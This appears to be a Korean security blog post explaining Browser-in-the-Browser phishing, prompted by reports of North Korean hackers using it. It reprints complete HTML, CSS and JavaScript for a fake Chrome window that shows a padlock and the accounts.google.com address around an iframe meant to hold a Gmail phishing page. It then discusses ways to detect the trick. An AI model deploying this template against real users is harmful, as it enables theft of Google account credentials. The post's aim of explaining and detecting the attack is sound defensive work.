반응형
배경
최근 아래와 같은 기사를 접하게 되었는데, 내용을 요약하자면 북한 해커조직이 Phishing 공격에 BitB(Browser in the Browser) 기술을 사용하고 있다는 내용이었습니다.
북한 해커조직, 실제 주소와 똑같은 피싱 사이트 사용한다? BitB 기술 악용
최근 북한 해커조직이 피싱 공격에 BitB(Browser in the Browser) 기술을 사용하는 등 피싱 관련 기술이 고도화되고 있어 주의가 요구된다. 과거의 피싱 공격은 피싱 사이트의 주소가 실제 사이트와 달
www.boannews.com
그럼 이제 여기서 말하는 BitB (Browser in the Browser) 공격이 무엇인지 한 번 알아보도록 하겠습니다.
BitB (Browser in the Browser) 공격
BitB 공격은 Browser 안에 Browser와 유사한 화면을 구성하여 사용자를 속이는 공격입니다.
여기서 중요한 점은 Browser와 유사한 화면이지만, 실제 Browser는 아니라는 점입니다. 그렇기 때문에 인증서 확인 상태와 Domain과 같은 정보를 속여 실제 사이트인 척 사용자들을 속일 수 있습니다.
일반적인 피싱 사이트의 구별 방법이 "자물쇠", "https", "Domain" 확인이라는 점을 고려하였을 때, 이러한 구별 방법이 모두 무효화되기 때문에 기존보다 훨씬 많은 피해를 끼칠 수 있는 Phishing 공격인 것 같습니다.
참고로 위 화면은 아래의 Github를 참고하여 제작한 화면인데요. 소스 코드를 통하여 더 자세히 분석해보도록 하겠습니다.
GitHub - mrd0x/BITB: Browser In The Browser (BITB) Templates
Browser In The Browser (BITB) Templates. Contribute to mrd0x/BITB development by creating an account on GitHub.
github.com
코드는 매우 심플하게 작성되어 있으며, 코드 분석 결과 아래와 같이 작동하고 있었습니다.
- index.html
- style.css와 script.js 로드
- Tag의 id attribute를 통하여 Browser 화면 구성
- title-bar : Chrome Title Bar
- url-bar : Chrome URL Bar
- content : 실제 Content
- style.css
- Browser와 유사한 화면을 구성해주는 css 코드
- script.js
- 가짜 Browser를 마우스로 조작할 수 있도록 이벤트를 등록한 js 코드
더보기
index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- BitB CSS File -->
<link rel="stylesheet" href="style.css">
<!-- load jquery in google CDN -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
</head>
<body>
<a href="#">BitB 공격</a>
<div id="window">
<!-- Title bar start -->
<div id="title-bar-width">
<div id="title-bar">
<div style="margin-top:5px;">
<img src="./logo.svg" width="20px" height="15px" id="logo">
<span id="logo-description">Gmail</span>
</div>
<div>
<span id="minimize">—</span>
<span id="square">□</span>
<span id="exit">x</span>
</div>
</div>
<div id="url-bar">
<img src="./ssl.svg" width="20px" height="20px" id="ssl-padlock">
<!-- Domain -->
<span id="domain-name">https://accounts.google.com</span>
<!-- Path -->
<span id="domain-path">/v3/signin/identifier?dsh=S-100363326%3A1682203993632581&continue=https%3A%2F%2Fmail.google.com%2Fmail%2Fu%2F0%2F&emr=1&followup=https%3A%2F%2Fmail.google.com%2Fmail%2Fu%2F0%2F&ifkv=AQMjQ7TaMpM63fE_OLt6XO9_Xo2a4S1BtIxjS800GEDuczxe5xvGIXP3VA98X1UNvHJMFLElnvPAdQ&osid=1&passive=1209600&service=mail&flowName=GlifWebSignIn&flowEntry=ServiceLogin</span>
</div>
</div>
<!-- Content start -->
<!-- Phishing Site -->
<iframe id="content" src="Gmail/index.html" frameBorder="0"></iframe>
</div>
</body>
<!-- BitB Script File -->
<script src="script.js"></script>
</html>
style.css
@font-face {
font-family: system;
font-style: normal;
font-weight: 300;
src: local(".SFNSText-Light"), local(".HelveticaNeueDeskInterface-Light"),
local("Roboto-Light"), local("DroidSans"), local("Tahoma"),
local(".LucidaGrandeUI"), local("Ubuntu Light"), local("Segoe UI Light");
}
html,
body {
width: 100%;
height: 100%;
}
#title-bar {
height: 31px;
background-color: #d6dae0;
width: 100%;
display: flex;
justify-content: space-between;
user-select: none;
}
#logo {
padding-left: 5px;
vertical-align: middle;
}
#logo-description {
color: black;
font-size: 12px;
font-family: "system";
vertical-align: middle;
}
#minimize {
color: black;
font-size: 12px;
padding: 9px 15px 7px 15px;
}
#square {
color: black;
font-size: 22px;
padding: 0px 15px 5px 15px;
}
#exit {
color: black;
font-size: 15px;
padding: 7px 17px 7px 17px;
}
#url-bar {
height: 28px;
background-color: #f1f3f4;
width: 100%;
display: flex;
align-items: center;
white-space: nowrap;
overflow: scroll;
text-overflow: ellipsis;
-ms-overflow-style: none;
scrollbar-width: none;
border-bottom: 1px solid lightgray;
}
#url-bar::-webkit-scrollbar {
display: none;
}
#ssl-padlock {
user-select: none;
padding-left: 8px;
margin-right: 8px;
}
#domain-name {
color: #000000;
font-size: 14px;
font-family: "system";
}
#domain-path {
color: #7c7c7c;
font-size: 14px;
font-family: "system";
}
#title-bar-width {
width: 100%;
}
#content {
width: 100%;
height: 700px;
}
#window {
color: transparent;
background-color: transparent;
border-color: transparent;
box-shadow: rgba(0, 0, 0, 0.35) 0px 5px 15px;
height: 759px; /* title bar height + content height */
width: 40%;
}
script.js
var minimize = document.getElementById("minimize");
var square = document.getElementById("square");
var exit = document.getElementById("exit");
var titleBar = document.getElementById("title-bar");
////////////////// Hover listeners //////////////////
minimize.addEventListener('mouseover', function handleMouseOver() {
minimize.style.backgroundColor = 'rgba(0, 0, 0, 0.09765625)';
minimize.style.cursor = 'context-menu';
});
minimize.addEventListener('mouseout', function handleMouseOut() {
minimize.style.backgroundColor = '#d6dae0';
minimize.style.cursor = 'default';
});
square.addEventListener('mouseover', function handleMouseOver() {
square.style.backgroundColor = 'rgba(0, 0, 0, 0.09765625)';
square.style.cursor = 'context-menu';
});
square.addEventListener('mouseout', function handleMouseOut() {
square.style.backgroundColor = '#d6dae0';
square.style.cursor = 'default';
});
exit.addEventListener('mouseover', function handleMouseOver() {
exit.style.backgroundColor = '#E81123';
exit.style.cursor = 'context-menu';
});
exit.addEventListener('mouseout', function handleMouseOut() {
exit.style.backgroundColor = '#d6dae0';
exit.style.cursor = 'default';
});
titleBar.addEventListener('mouseover', function handleMouseOver() {
titleBar.style.cursor = 'context-menu';
});
titleBar.addEventListener('mouseout', function handleMouseOver() {
titleBar.style.cursor = 'default';
});
//////////////// Make window draggable start ////////////////
// Make the DIV element draggable:
var draggable = $('#window');
var title = $('#title-bar');
title.on('mousedown', function(e){
var dr = $(draggable).addClass("drag");
height = dr.outerHeight();
width = dr.outerWidth();
ypos = dr.offset().top + height - e.pageY,
xpos = dr.offset().left + width - e.pageX;
$(document.body).on('mousemove', function(e){
var itop = e.pageY + ypos - height;
var ileft = e.pageX + xpos - width;
if(dr.hasClass("drag")){
dr.offset({top: itop,left: ileft});
}
}).on('mouseup', function(e){
dr.removeClass("drag");
});
});
//////////////// Make window draggable end ////////////////
////////////////// Onclick listeners //////////////////
// X button functionality
$("#exit").click(function(){
$("#window").css("display", "none");
});
// Maximize button functionality
$("#square").click(enlarge);
function enlarge(){
if(square.classList.contains("enlarged")){
$("#window").css("width", "40%");
$("#title-bar-width").css('width', '100%');
$("#content").css("width", "100%");
$("#square").removeClass("enlarged");
}
else{
$("#window").css("width", "70%");
$("#title-bar-width").css('width', '100%');
$("#content").css("width", "100%");
$("#square").addClass("enlarged");
}
}
탐지 방안
파일을 제공해준 Github에서는 BitB 공격에 대한 탐지 방안으로 2가지 방안을 제시하고 있었습니다.
- 창을 외부로 드래그
- 확장 프로그램을 통한 iframe 탐지
그러나 iframe 탐지는 큰 의미가 있는 방법은 아니라고 생각합니다. iframe을 사용하지 않고도 이러한 화면을 구현하는 것은 어려운 일이 아니기 때문입니다.
그래도 창을 외부로 이동할 수 있는 지 확인하는 첫 번째 방법은 충분히 이를 방어할 수 있는 좋은 탐지 방안이 될 수 있을 것 같습니다. 물론 일반 사용자들이 이렇게 불편한 방법을 실제로 사용할 지는 다른 이야기일 수 있지만요.
해킹 기술들은 점점 고도화 되어 가고 있기 때문에 기존에 알려진 탐지 및 대응 방법이 100% 안전한 것은 아니지만, 그래도 최대한 조심하면서 신뢰할 수 있는 환경에서만 컴퓨터를 사용하도록 조심하는 것이 해킹으로 인한 피해를 방지할 수 있는 최선의 방법일 것 같습니다. 0-Day로 털어버리면 사실 방법이 없지만
반응형
'Hack > Web' 카테고리의 다른 글
| [2020 Hitcon] Discover Vulnerabilities with CodeQL 번역 (0) | 2023.07.25 |
|---|---|
| [CVE-2023-0842] xml2js Prototype Pollution (0) | 2023.05.13 |
| [CVE-2023-20860] Spring Framework Improper Access Control (0) | 2023.03.26 |
| [Kotlin] Use-Site Target이 존재하지 않을 경우 검증 우회 가능 (0) | 2023.02.21 |
| Click Jacking이란? (0) | 2023.02.12 |
댓글